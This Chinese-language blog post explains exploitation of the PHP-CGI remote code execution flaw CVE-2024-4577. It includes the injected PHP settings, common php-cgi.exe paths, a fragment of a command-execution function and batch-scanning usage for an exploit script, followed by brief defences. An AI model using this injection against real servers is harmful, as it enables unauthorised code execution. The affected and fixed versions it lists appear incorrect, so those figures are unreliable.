Featured image of post PHP CGI模块8.3.4远程代码执行(RCE)漏洞利用详解

PHP CGI模块8.3.4远程代码执行(RCE)漏洞利用详解

本文详细介绍了PHP CGI模块8.3.4版本中的远程代码执行漏洞(CVE-2024-4577),包括漏洞原理、利用方法、Python利用脚本实现,以及如何检测和利用该漏洞进行系统渗透测试。

PHP CGI Module 8.3.4 - Remote Code Execution (RCE)

漏洞概述

CVE-2024-4577是PHP CGI实现中的一个关键漏洞,允许远程攻击者通过命令注入执行任意代码。该漏洞存在于PHP CGI对命令行参数的不当处理中,可被利用来绕过安全限制并以Web服务器权限执行任意命令。

影响版本

  • PHP < 8.3.4
  • PHP < 8.2.17
  • PHP < 8.1.27

漏洞影响

  • 远程代码执行(RCE)
  • 信息泄露
  • 服务器沦陷

技术细节

漏洞原理

PHP CGI在处理命令行参数时存在缺陷,攻击者可以通过注入特殊参数来绕过安全限制。利用软连字符(%AD)进行参数注入,结合特定的PHP配置设置实现代码执行。

利用方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# PHP配置设置注入
php_settings = [
    "-d cgi.force_redirect=0",
    "-d cgi.redirect_status_env=0", 
    "-d fastcgi.impersonate=1",
    "-d open_basedir=",
    "-d disable_functions=",
    "-d auto_prepend_file=php://input",
    "-d allow_url_include=1",
    "-d allow_url_fopen=1"
]

常用CGI路径

1
2
3
4
5
6
7
8
cgi_paths = [
    "/php-cgi/php-cgi.exe",
    "/php/php-cgi.exe", 
    "/cgi-bin/php-cgi.exe",
    "/php-cgi.exe",
    "/php.exe",
    "/php/php.exe"
]

Python利用脚本

完整的Python利用脚本实现了以下功能:

  1. 漏洞检测:通过发送测试命令验证目标是否易受攻击
  2. 命令执行:利用参数注入执行任意系统命令
  3. 交互式shell:提供命令行界面进行持续操作
  4. 批量扫描:支持多目标并发检测

核心功能代码

1
2
3
4
5
6
7
8
9
def execute_command(self, target, command="whoami", cgi_path=None):
    """通过PHP CGI参数注入执行命令"""
    php_code = f"""<?php
error_reporting(0);
echo '[START]';
system('{command}');
echo '[END]';
die();
?>"""

使用方法

单目标检测

1
python3 exploit.py -u http://target.com

批量扫描

1
python3 exploit.py -f targets.txt -t 10 -o results.txt

防御措施

  • 升级到PHP 8.3.4、8.2.17或8.1.27及以上版本
  • 禁用不必要的CGI功能
  • 实施严格的输入验证和过滤

参考资源

  • NVD漏洞详情:CVE-2024-4577
  • Akamai安全研究分析
  • Tarlogic技术博客深度解析

注意:本文提供的技术信息仅用于教育研究和授权测试目的,请勿用于非法活动。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计